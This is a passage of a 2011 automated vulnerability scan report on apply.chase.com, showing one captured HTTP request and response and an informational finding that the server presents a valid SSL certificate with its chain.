Cookie: v1st=60B8BEB245ABF79; SourceID=37797~CHSE; s_pers=%20s_cpmcvp%3D%255B%255B%2527Other%252520Referrers-www.chase.com%2527%252C%25271297526577044%2527%255D%255D%7C1455292977044%3B; auto_referrer=https%3A//www.chase.com/online/Credit-Cards/Card_DCHP.htm%3FAD%3D%257C%257C%257C37797%257C%257C%257C; Autooffercode=1111111111; ASP.NET_SessionId=14f5e6ae-fde4-47c8-be71-501076867075; NSSG=b513c0db17a641d98568a847b940afd8; pid=; BrandProfile=AUTO; s_sess=%20s_cm%3Dundefinedwww.chase.comwww.chase.com%3B%20ttc%3D1297526715356%3B%20s_cc%3Dtrue%3B%20s_sq%3Djpmcedufincauto%253D%252526pid%25253DApp%2525253A%25252520Start%25252520Page%252526pidt%25253D1%252526oid%25253Dfunctiononclick%25252528event%25252529%2525257Bjavascript%2525253AsetTimeout%25252528%25252527__doPostBack%25252528%2525255C%25252527ctl00%25252524FormContentPlaceHolder%25252524rbChaseOnl%252526oidt%25253D2%252526ot%25253DRADIO%3B; WT_FPC=id=295767023553b3129f81297530122939:lv=1297530327413:ss=1297530122939
Content-Length: 4202

ctl00%24FormContentPlaceHolder%24scriptmanager=ctl00%24FormContentPlaceHolder%24upGettingStarted%7Cctl00%24FormContentPlaceHolder%24rbChaseOnlineYes&__EVENTTARGET=ctl00%24FormContentPlaceHolder%24rbCh
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Date: Sat, 12 Feb 2011 16:04:12 GMT
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private,max-age=0,must-revalidate
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Vary: Accept-Encoding
Content-Length: 17347

13138|updatePanel|ctl00_FormContentPlaceHolder_upGettingStarted|
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr width="100%">
<td colspan="4">
<table id="c
...[SNIP]...

11. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://apply.chase.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  apply.chase.com
Issued by:  www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign
Valid from:  Thu Apr 29 19:00:00 CDT 2010
Valid to:  Sat Apr 30 18:59:59 CDT 2011

Certificate chain #1

Issued to:  www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Wed Apr 16 19:00:00 CDT 1997
Valid to:  Mon Oct 24 18:59:59 CDT 2016

Certificate chain #2

Issued to:  Class 3 Public Primary Certification Authority
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Sun Jan 28 18:00:00 CST 1996
Valid to:  Wed Aug 02 18:59:59 CDT 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by CloudScan Vulnerability Crawler at Sat Feb 12 10:10:36 CST 2011.